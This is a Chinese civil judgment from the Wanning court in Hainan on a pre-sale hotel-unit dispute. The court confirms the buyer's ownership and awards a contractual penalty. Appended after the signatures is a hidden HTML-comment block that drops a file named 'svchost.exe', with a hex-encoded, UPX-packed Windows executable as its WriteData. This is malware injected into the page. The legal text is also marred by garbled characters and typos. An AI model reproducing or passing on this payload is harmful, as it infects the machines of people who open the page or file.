海南省万宁市人民法院
p t ; ” > 民 事 判 决 书
(2016)琼9006民初258号
魇告张李燕，女，汉族，1968年10月27日出生，四川省成都市人，现住成都市万科��力之城*期*****号，身份证号码：×××。
委托代理人刘六爱，海南绿星律师事务所律师，代理权限为特别授权。
被告海南鑫东源旅业有限公司，住所地：海南省海口市海达路58号今典别墅小区6号别墅。
法定代表人王小玲，该公司董事长。
委托代理人祝向荣，海南方圆律师事务所律师，代理权限为一般授权代理。
委托代理人王梦瑶，海南方圆律师事务所律师，代理权限为一般授权代理。
第三人万宁兴隆忆云山水温泉度假酒店有限公司，住所地：海南省万宁市兴隆旅游开发区惠康大道忆云山水酒店。
法定代表人陈曦，该公司董事长。
委托代理人祝向荣，海南方圆律师事务所律师，代理权限为一般授权代理。
委托代理人王梦瑶，海南方圆律师事务所律师，代理权限为一般授权代理。
原告张李燕与被告海南鑫东源旅业有限公司（以下简称鑫东源公司）、第三人万宁兴隆忆云山水温泉度假酒店有限公司（以下简称忆云山水公司）商品房预售合同纠纷一案，本院于2016年2月2日适用简易程序立案受理。因发现案情比较复杂，本院于2016年4月29日裁定将本案转为普通程序审理，并依法组成合议庭，于2016年6月7日公开开庭进行了审理。原告张李燕及委托代理人刘六爱、被告鑫东源公司和第三人忆云山水公司的共同委托代理人祝向荣到庭参加诉讼。2016年6月24日，原告张李燕向本院提起行政诉讼，请求判决撤销万宁市住房保障与房产管理局于2013年1月30日做出的”万宁市房建万城字第8377号”在建工程抵押登记的行政行为。因本案的审理必须以该行政���讼案件的审理结果作为依据，为此本院于2016年10月31日依法中止了本案诉讼。经审理后，因行政案件的审理并不影响本案的审理，可不作为本案审理的依据，据此，本院于2017年2月4日恢复本案诉讼程序。本案现已审理终结。
原告张李燕诉称，2014年2月23日，原、被告双方签订《商品房预售合同》、《委托装修装饰合同》，原告购买被告开发的位于万宁市××区、土地证号为：万国用（2011）字第500004号地块上建设的”忆云山水产权式温泉假日酒店”D幢508（现5**房）。同日,原告与第三方万宁兴隆忆云���水温泉度假酒店有限公司及被告签订《委托经营合同》，将购买的该产权式酒店D幢508房（现526房）交由第三人委托经营管理。原告按约向被告一次性支付了全部购房款人民币520683元，被告于2014年8月1日按约将房交付给原告使用。原告已取得该房屋的全部产权，被告已丧失了该D幢508房（现526房）的所有权。被告应按约、按期将原告所购房屋办理房产权证至原告名下。然而，被告隐瞒事实，一系列恶劣行为严重侵犯了原告的合法权益。综上所述，为了保护原告合法权益，特向法院提起诉讼，请求判令如下：1、确认原、被告双方签订的《商品房预售合同》合法有效，忆云山水产权式温泉假日酒店D幢508房（现526房）产权属于原告；2、判令被告向原告支付因违反合同权利瑕疵担保责任约定应承担的房价款总额3%的违约金人民币15620元，赔偿损失人民币3万元（包括但不��于差旅费、律师代理服务费以及其他侵权责任等）；3、判令被告向原告支付因不能在约定期限内取得（办理）房地产权属证书的违约金人民币35927元（违约金自2014年8月1日其暂时计算至2016年8月30日止；如被告仍不能在此期限内办理房产权书证明的，违约金按约另行计算至实际办妥房地产权属证之日止）；4、判令被告向原告支付因被告违约、原告不解除合同，被告应按日支付的违约金人民币5206元；5、判令被告在本案判决生效之日起90日内为原告所购房屋办理房地产权属证明（房地产权证）。在诉讼中，原告增加了一项诉讼请求：确认原告购买房屋的权利优先于银行的抵押权。之后，原告又申请放弃该项诉讼请求。
被告鑫东源公司辩称：一、双方的预售合同真实有效，双方签订商品房预售合同之后，原告支付了全部购房款，被告依约向原告交付了房屋，房屋的所有权应属于原告所有。至于原告所购买的房屋是否优先于银行的抵押权，由法院依法认定，毕竟是银行的抵押权在先，原告购买房屋在后。二、原告不能同时主张权利瑕疵担保责任违约金和逾期办证违约金，根据商品房预售合同第九条即瑕疵担保条款的约定：因出卖人的原因造成不能办理产权登记或发生债权债务，出卖人应按照房价款总款3%支付违约金。第十九条约定：如因出卖人的责任，买受人不能在约定期限内取得房地产产权权属证书，出卖人自逾期之日起，每日按买受人已付房款万分之一向买受人支付违约金。上��两个条款是重复的，原告应选择其中的一条来主张权利，不能同时主张。三、原告要求被告赔偿损失3万元的请求不成立。首先，本案审理的购房合同纠纷，原告不能请求侵权责任造成的经济损失。其次，原告主张的差旅费和律师代理费也没有法律依据，不应支持。四、现今房屋的产权证没有办理完成，原告计算逾期办证的违约提前了一年，我们认为按照合同的约定，应该从2015年8月2日开始计算预期办证的违约金。五、原告请求90日内办理产权证对被告来说确实困难，该房屋已经抵押给信用社，双方的债权债务还没有清偿完毕，所以被告要求延迟360天办理房产证，但是违约金还是依据合同来计算。
第三人忆云山水公司述称：陈述意见与被告鑫东源公司的答辩意见一致。
本案当事人围绕诉讼请求依法提交了证据，本院组织当事人进行了证据交换和质证。
原告向法庭提供以下证据：第一组证据���1、《商品房预售合同》及补充协议；2、付款收据和付款银行凭证；拟证明原告向被告购买涉案房屋，被告并没有告知原告涉案房屋已经抵押的事实，原告也不知道该房屋已办理在建工程他项权抵押登记，《商品房预售合同》中记载涉案房屋未抵押，原告全额向被告支付了购房款，善意取得房屋所有权，被告违约及侵权，造成原告重大损失，应承担违约责任及其侵权责任。第二组证据：1、授权委托书三份；2、委托经营合同；3、产权房委托装修装饰合同；4、临时管理规约、确认书；拟证明原告向被告购买房屋后，被告依约将原告所购的房屋委托装修公司装修；原告收房后将房屋委托给第三人经营管理并收益，原告对所购房屋享有完全的所有权及相关权利，被告及第三人违约并侵权，应赔偿原告所有的经济损失。第三组证据：1、国有土地使用证；2、建设用地规划许可证；3、建设工程施工许可证；4、建设工程规划临时许可证；5、万宁市房产预售许可证[2011]万房预字（40）号，[2012]万房预字（延31）号，[2013]万房预字（延28）号（含被告伪造的一份）；拟证明原告所购房屋是具有合法土地使用权，并经过万宁市政府相关规划，建设及房产管理等多个部门批准建设、销售的，是合法建筑及合法售房、购房。第四组证据：1、鑫东源公司上报忆云山水产权式温泉假日酒店合同情况表；2、关于调查处理”忆云山水”项目购房业主反映情况的答复函；3、交接证明；4、交接证明和督促备案证明；5、提前一个月预约住房证明；拟证明被告鑫东源公司将房屋合法销售给各业主，万宁市房管局认可被告在2015年12月11日前对涉案房屋的销售，认可各业主购买的房屋及原、被告双方所签订的商品房预售合同。同时证明涉案房���已经交付原告，原告已经取得所购房屋所有权，被告有义务及时办理房产证并过户至原告名下，被告没有依约办理房产证及土地使用证过户手续，构成违约和侵权，应承担违约和侵权责任并赔偿原告所有经济损失。第五组证据：承诺书。拟证明被告再次认可原告所购房屋，承诺给原告所购房屋办理抵押权解除及房屋备案过户等手续，并承担因此产生的相关违约和侵权责任。第六组证据、1、海南省农信社固定资产贷款合同（编号：三农联中心社2013年固借（诚）字第002号；2、《抵押合同》（编号：三农联中心社2013年抵字第004号）；3、在建工程他项权抵押登记（万宁市房建万城字第8377号）；4、关于同意办理忆云山水产权式酒店预售证延期的函；拟证明抵押权人三亚市农村信用社同意被告对外销售已经设定在建工程他项权”抵押登记”的涉案��屋，三亚市农村信用社同意被告对外销售涉案抵押房屋，应当知道房产销售必然导致产权所有权发生转移，也就意味着同意涉案房屋办理房产证过户到原告名下，表示其已经放弃了对原告所有房屋的抵押权，无权对原告所购房屋再行使抵押权，三亚市农信社同意被告销售涉案房屋意思表示真实，相关责任、风险应由其自担。同时证明三亚市农信社具有过错，自动放弃抵押物，房产出售所得价款用于提前清偿所承担的担保债务的权利，其无权再对原告所购房屋实行抵押权及相关权利。第七组证据、1、海南省三亚市中级人民法院协助执行通知（2015）三亚民保字第11号；2、海南省第一中级人民法院协助执行通知书（2016）琼96财保4号之一；3、海口市美兰区人民法院协助执行通知书（2016）琼0108执保1号、2号；拟证明因被告公司违约，造成原告所购房屋被多家法院查封，给���告造成不必要的经济损失，被告应予赔偿相关所有经济损失。第八组证据、1、交接证明两份（2015年12月8日）；2、业主入住相片；3、第三人通知业主入住的通知书（相片）；拟证明被告将涉案房屋交由原告使用，原告享受占有收益处分的权利。
被告鑫东源公司对原告提供的证据质证意见如下：对第一组证据的真实性、合法性、关联性没有异议，证明力有异议，本案是商品房买卖合同纠纷，不是侵权责任纠纷，原告不能同时主张两项权利；第二组证据的真实性、合法性、关联性没有异议，对证明力有异议；理由是委托经营或授权都是原告买房后委托第三方管理公司的相关手续，原告与第三人属于委托代理关系，现本案审理的是原告与被告之间的商品房预售合同纠纷，跟第三方没有关系，不能因被告的违约，原告就主张与第三人间的合同关系相关的经济损失，侵权责任并不属于本案的审理范围。第三组证据都是复印件，也没有盖章确认的证明，无法确定其真实性，合法性和证明力都有异议；5、预售许可证的真实性予以认可。第四组证据：1、合同情况表真实性没有异议，购买人是原告熊力的事实予以确认。证据2-5都是复印件，真实性无法确认，合法性及关联性都有异议，不能作为主张被告违约和侵权的依据。第五组证据的承诺书是复印件，对其真实性、关联性、合法性不予质证。证明力也不予认可；第六组证据：对证据1-2的真实性予以认可；对证据3的真实性不予认可，他项权属登���中没有查询到原告；对证据4-5的真实性予以认可。上述证据的证明力均有异议，这几项证据证明，被告出售房屋给原告之前，被告办理合法的手续，把房屋抵押给了农信社，也包括原告所购买的房屋，且被告的售房手续也是齐全的，被告没有存在隐瞒事实的情况。农信社没有在本案中参加诉讼，是否放弃了抵押权或抵押物，就不清楚了。对第七组证据的真实性、合法性予以认可，但与本案没有关联，证明力也不予认可；房屋抵押给银行，不影响原、被告之间的买卖合同。第八组证据：1、对2015年12月8日的交接证明的真实性、合法性、关联性以及证明力均予以认可，2015年2月8日的交接证明是复印件，真实性不予认可；2-3照片是打印出来的，且并不是原告本人，真实性不予认可，跟本案没有关联性。
第三人忆云山水公司对原告提供的证据质证意见如下：第三人的质证意见与被告鑫东源公司的质证意见一致。
被告鑫东源公司和第三人忆云山水公司没有证据向法庭提交。
经庭审举证、质证，本院对原告提供的证据认证如下：
对原告提交的第一组、第二组证据的真实性、合法性、关联性，被告和第三人均无异议，本院予以确认，采信作为认定案件相关事实的根据。对原告提交的第三组证据中的证据5即预售许可证、第四组证据中的证据1即鑫东源公司上报忆云山水产权式温泉假日酒店合同情况表、第六组证据中证据1、2、4、5的真实性，被告和第三人均无异议，本院予以确认，采信作为认定案件相关事实的根据。第���组证据中的交接证明（2015年12月8日）的真实性、合法性、关联性以及证明力，被告和第三人均无异议，本院予以确认，采信作为认定案件相关事实的根据。但第三组证据中的证据1-4及第五组证据均是复印件，被告和第三人该5份证据不予认可，其真实性无法确认，本院不予采纳。第四组证据中证据3虽是复印件，结合其他证据，可以证明被告已交付涉案房屋给原告使用，而且原告也已经将所购房屋委托第三人忆云山水公司经营并已经提前支取了3年的经营收益，故对其真实性予以认可；第四组证据中证据2、4、5均是复印件，被告和第三人均不予认可，其真实性无法确认，本院不予采信。第六组证据中的证据3的真实性被告和第三人虽均不予认可，结合其他证据可以证实该证据的真实性，且该证据涉及到原告所购房屋，故本院予以采信，采信作为认定案件相关事实的根据。第七组证据与本案没有关联性，本院不予采纳。第八组证据中证据2-3的真实性被告和第三人均不予认可，且不是原告本人，与本案没有关联性，不予采信。
根据当事人陈述和经审查确认的证据，本院认定事实如下：
2014年2月23日，原告张李燕与被告鑫东源公司签订《商品房���售合同》和《补充协议》各一份，该合同约定：原告购买被告开发建设的位于万宁市××区的位于万宁市××区的忆云山水产权式温泉假日酒店D幢508房（现526房），房屋建筑面积54.92平方米，其中，套内建筑面积42.78平方米，共用部位与共用房屋分摊建筑面积12.14平方米；按建筑面积计价每平方米9480.75元，总价款为人民币520683元；原告应在签订合同后一次性支付全部购房款。被告应当在2014年8月1日前向原告交付符合条件的商品房并办理交接手续；双方约定该商品房所分摊的土地使用权及在建工程均未设定抵押。合同对权利瑕疵的担保约定（合同第9条）为：被告应当保证销售的商品房不存在权利��疵，没有产权纠纷和债权债务纠纷，也不存在被司法机关、行政机关依法裁定、决定查封或以其他形式限制房地产权利等情况。因被告原因造成该商品房不能办理产权登记或发生债权债务纠纷的，被告应按房屋价款总额的3%向原告支付违约金，并赔偿原告损失。合同对产权登记的约定（合同第19条）为：被告应当自房屋交付之日起360日内为原告办理房屋权属证书。在原告取得该商品房权属证书后360个工作日内，被告应当向土地登记机关申请，为原告办理土地使用权证；房屋交付使用后，被告自房屋交付之日起300个工作日内还未申请给原告办理房屋所有权证的，原告可单方面向房产管理部门申请办理，被告应自收到原告自行办理房屋所有权证通知之日起7日内向原告提供有关材料，并按原告已交房款的1%向原告支付违约金。如因被告的责任，原告不能在约定期限���取得房地产权属证书的，被告自逾期之日起每日按原告已付房款万分之一向原告支付违约金。逾期30天以上的，原告有权单方解除合同，被告应自收到原告解除合同通知之日起3日内全部退还买受人已付房款，并按银行同期存款利率付原告利息。原告不解除合同的，被告应当按房价款的1%支付违约金，并可延期在180日内办理完毕房屋所有权证。合同还约定了其他事项。合同签订后，原告依合同约定履行了支付购房款人民币520683元给被告等合同义务，被告依合同约定于2014年8月1日向原告交付了房屋。2014年2月23日，原告与被告还签订了《产权房委托装修装饰合同》一份，该合同约定原告所购买的位于万宁市××区忆云山水产权式温泉假日酒店D幢508房（现526房）委托被告统一装修装饰，包干总价款164760元。原告已支付了装修款。同日，原告还与被告、第三人忆云山水公���签订《委托经营合同》，约定原告所购的该D幢508房委托第三人忆云山水公司进行统一经营管理，经营期限为15年（自2014年8月1日起至2029年7月30日止），委托经营期限到期后，双方若无异议本合同自动顺延。合同约定：原告获取的经营收益为购买该房屋总价款的每年6％，经营收益每2年支付一次，前2年收益于原告缴纳全部购房款时直接从购房款中扣除支付给原告。原告确认：于2014年8月1日至2016年7月31日委托期间的委托经营收益人民币82253元。由于被告至今未能给原告办理房屋产权证书，原告认为被告隐瞒事实，损害了原告的合法权益，因此向本院提起诉讼请求：1、确认原、被告双方签订的《商品房预售合同》合法有效，忆云山水产权式温泉假日酒店D幢508房（现526房）产权属于原告；2、判令被告向原告支付因违反合同权利瑕疵担保责任约定应承担的房价款总额3%的违约金人民币15620元，赔偿损失人民币3万元（包括但不限于差旅费、律师代理服务费以及其他侵权责任等）；3、判令被告向原告支付因不能在约定期限内取得（办理）房地产权属证书的违约金人民币35927元（违约金自2014年8月1日其暂时计算至2016年8月30日止；如被告仍不能在此期限内办理房产权书证明的，违约金按约另行计算至实际办妥房地产权属证之日止）；4、判令被告向原告支付因被告违约、原告不解除合同，被告应按日支付的违约金人民币5206元；5、判令被告在本案判决生效之日起90日内为原告所购房屋办理房地产权属证明（房地产权证）。原告在庭审中增加一项诉讼请求：确认原告购买房屋的权利优先于银行的抵押权。之后，原告又申请放弃该项诉讼请求。
另查，2013年1月22日被告与三亚市农村信用合作联社签订抵押合同，于2013年1月30日办理万宁市房建万城字第8377号他项权证，将包括原告所购买的D幢508房在内的55套在建房产抵押给三亚市农村信用合作联社用于贷款，贷款期限为3年，即自2013年1月22日起至2016年1月22日止。2013年4月17日，三亚市农村信用合作联社给万宁市住房保障与房产管理局出具”关于同意办理忆云山水产权式酒店预售证延期的函”，说明为了保证项目的正常销售，按期还款，其社同意被告将抵押给其社的55套房屋进行销售，同意万宁市住房保障与房产管理局给被告办理预售证延期手续。
本院认为，本案争议的焦点是：一、原告与被告于2014年2月23日签订的《商品房预售合同》是否合法有效；二、能否确认忆云山水产权式温泉假日酒店D幢508房的所有权属于原告；三、原告要求被告支付合同权利瑕疵担保责任和逾期办证的违约金应否支持；四、原告请求被告赔偿其差旅费、律师代理服务费以及其他侵权等责任造成的损失3万元是否具有事实和法律依据；五、原告请求被告限期办理房屋产权证是否具有法律依据。
一、关于被告与原告于2014年2月23日签订的《商品房预售合同》是否合法有效问题。原告张李燕与被告鑫东源公司于2014年2月23日签订《商品房预售合同》，系双方真实意思表示，合同内容不违反法律、行政法规的强制性规定。根据《中华人民共和国合同法》第四十四条：”依法成立的合同，自成立时生效。法律、行政法规规定应当办理批准、登记等手续生效的，依照其规定”和《中华人民共和国物权法》第十五条：”当事人之间订立有关设立、变更、转让和消灭不动产物权的合同，除法律另有规定或者合同另有约定外，自合同成立时生效；未办理物权登记的，不影响合同效力”的规定，本院认定原告张李燕与被��鑫东源公司于2014年2月23日签订的《海南省商品房预售合同》合法有效，对双方当事人均具有合同约束力，双方均应当按照合同约定履行各自的合同义务。
二、关于能否确认忆云山水产权式温泉假日酒店D幢508房的所有权属于原告的问题。被告取得商品房预售许可证后，于2013年1月30日将包括忆云山水产权式温泉假日酒店D幢508房在内的55套在建房产抵押给三亚市农村信用合作联社用于贷款。被告经得三亚市农村信用合作联社同意销售后，与原告签订《海南省商品房预售合同》。原告购买涉案房屋后支付了全部购房款，被告��已依约将涉案房屋交付给原告，原告同时将涉案房屋委托忆云山水公司统一经营管理，原告已事实上占有了涉案房屋。虽然涉案房屋的抵押登记至今尚未解除，但根据《2015年度全国民事审判工作会议纪要》第39条规定：”取得了房屋预售许可或者销售许可的房地产开发商以在建工程抵押取得银行贷款后，又同买受人签订了房屋买卖合同，买受人依约支付了全部或大部分购房款，房地产开发商不能偿还银行贷款，抵押权人向人民法院请求行使抵押权的请求，不予支持；对于买受人向人民法院请求确认其购买房屋的权利优先于银行抵押权的，人民法院应予支持。”该规定明确了在建抵押权与购房者的购买房屋的权利发生冲突时，应当优先保护作为消费者的购房者的权利。据此，可以确认涉案房屋的所有权属于原告。
三、关于原告要求被告支付合同权利瑕疵担保责任及逾期办证的违约金应否支持的问题。首先，关于合同权利瑕疵担保责任的问题，权利瑕疵担保责任是指出卖人就交付的标的物负有的保证第三人不得向买受人主张任何权利的义务。若第三人能主张权利，出卖人即应负权利瑕疵担保责任。权利瑕疵的原因于合同订立时已存在，买受人不知有权利瑕疵存在，权利瑕疵发生时，买受人可以请求出卖人除去权利瑕疵，或者支付违约金及赔偿损失。本案中，原告与被告双方签订《商品房预售合同》购买涉案房屋前，该房屋已抵押给三亚市农村信用合作联社，���经三亚市农村信用合作联社的同意，被告将有权利瑕疵的涉案房屋出售给原告。因此，涉案房屋有权利瑕疵在原、被告双方签订买卖合同时就已存在，该权利瑕疵至今仍然存在。由于双方所签订的合同第四条明确约定原告所购买的涉案房屋未设定抵押，且被告在签订《商品房预售合同》时亦未告知原告其所购的涉案房屋已抵押给三亚市农村信用合作联社，原告无法得知涉案房屋有权利瑕疵存在。因原告所购买的涉案房屋的抵押登记至今尚未解除，三亚市农村信用合作联社就涉案房屋主张抵押权，致使原告不能在约定期限内取得涉案房屋产权证，被告应负权利瑕疵担保责任，且双方在合同第九条就权利瑕疵担保亦约定：”因出卖人原因造成该商品房不能办理产权登记或发生债权债务纠纷的，出卖人应按房价款总额的3%向买受人支付违约金，并赔偿买受人损失。”根据该条款的约定，原告要求被告按房价款总额的3%支付其合同权利瑕疵担保责任违约金15620元，应予支持。其次，关于逾期办证应否支付违约金的问题。根据原、被告签订的《商品房预售合同》第十九条关于产权登记约定”出卖人应当自房屋交付之日起360日内为买受人办理房屋权属证书。......如因出卖人的责任，买受人不能在约定期限内取得房地产权属证书的，出卖人自逾期之日起每日按买受人已付房款万分之一向买受人支付违约金。逾期30天以上的，买受人有权单方解除合同，......买受人不解除合同的，出卖人应按房价款的1%支付违约金，并可延期在180日内办理完毕房屋所有权证。”该条款明确约定，如因被告的原因致使原告不能在约定的期限内取得房屋权属证书，被告则应承担违约责任。在本案中,由于被告已将原告所购的房屋办理抵押登记,致使原告至今不能取得房屋所有权证,构成违约,应承担违约责任,但由于该合同条款仅对申请办理房屋权属证书的时间作出约定，既未约定办理好房屋权属证书的时间，也未约定原告应于何时取得房屋权属证书，逾期天数无法确定,由此可见，原告以2015年8月1日作为逾期取得房屋权属证书的起始时间是不合理的，故原告要求被告支付其逾期办证违约金35927元及被告逾期办证违约，原告不解除合同的违约金5206元的诉讼请求，没有合同依据，本院不予支持。
四、关于原告请求被告赔偿其差旅费���律师代理服务费以及其他侵权责任等造成的损失3万元是否具有事实和法律依据的问题。根据合同第九条权利瑕疵担保的约定,被告负有权利瑕疵担保责任，除了按房价款总额的3%向原告支付违约外，还应赔偿原告损失。原告根据此合同条款的约定，要求被告赔偿其差旅费、律师代理服务费以及其他侵权责任等造成的损失3万元的诉讼请求。首先，原告要求被告支付其律师代理服务费的请求于法无据，本院不予支持。其次，原告主张赔偿其差旅费及其他侵权责任等造成的损失的请求，根据谁主张，谁举证的原则，原告应负相应的举证责任，但原告未能提交相关证据证明因涉案房屋权利瑕疵造成其损失3万元的主张，原告应承担举证不能的不利后果。因此，原告要求被告赔偿其差旅费、律师代理服务费以及其他侵权责任等造成的损失3万元的诉讼请求理由不足，没有事��和法律依据，本院不予支持。
五、关于原告请求被告限期办理房屋产权证是否具有法律依据的问题。原告与被告签订《商品房预售合同》购买涉案房屋，合同签订后，原告已经依照合同约定向被告交付了全部购房款和装修款，即已经全部支付了合同对价，被告亦于2014年8月1日将涉案房屋交付给原告，被告应当按照合同约定自房屋交付之日起360日内为原告办理房屋权属证书。现超出约定的办证期限，被告仍未为原告办理房屋所有权证。根据《中华人民共和国合同法》第一百三十五条：”出卖人应当履行向买受���交付标的物或者交付提取标的物的单证，并转移标的物所有权的义务”的规定，被告应为原告办理所购的涉案房屋的房屋产权证，将该房屋所有权办理过户到原告名下，并将办理好的房屋产权证交给原告。
综上所述，依照《中华人民共和国合同法》第四十四条、第一百零七条、第一百一十四条、第一百三十五条，《中华人民共和国物权法》第十五条，《最高人民法院关于适用〈中华人民共和国民事诉讼法〉的解释》第九十条之规定，判决如下：
一、原告张李燕与被告海南鑫东源旅业有限公司签订的《海南省商品房预售合同》合法有效；
二、确认原告张李燕对位于万宁市××区忆云山水产权式温泉假日酒店D幢508房享有所有权；
三、被告海南鑫东源旅业有限公司于本判决生效之日起十日内向原告张李燕支付合同权利瑕疵担保责任的违约金人民币15620元；
四、被告海南鑫东源旅业有限公司于本判决生效之日起三十日内协助原告张李燕办理将位于万宁市××区忆云山水产权式温泉假日酒店D幢508房的产权证登记至原告张李燕名下；
五、驳回原告张李燕的其他诉讼请求。
如果未按本判决指定的期间履行给付金钱义务，应当依照《中华人民共和国民事诉讼法》第二百五十三条之规定，加倍支付迟延履行期间的债务利息。
本案案件受理费人民币9874元，由原告张李燕负担人民币1578元，被告海南鑫东源旅业有限公司负担人民币8296元。
如不服本判决，可在判决书送达之日起十五日内，向本院递交上诉状，并按对方当事人的人数提出副本，上诉于海南省第一中级人民法院。
审判长翁雪花
审判员王德清
人民陪审员许声军
二〇一七年二月六日
书记员唐亚斌
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F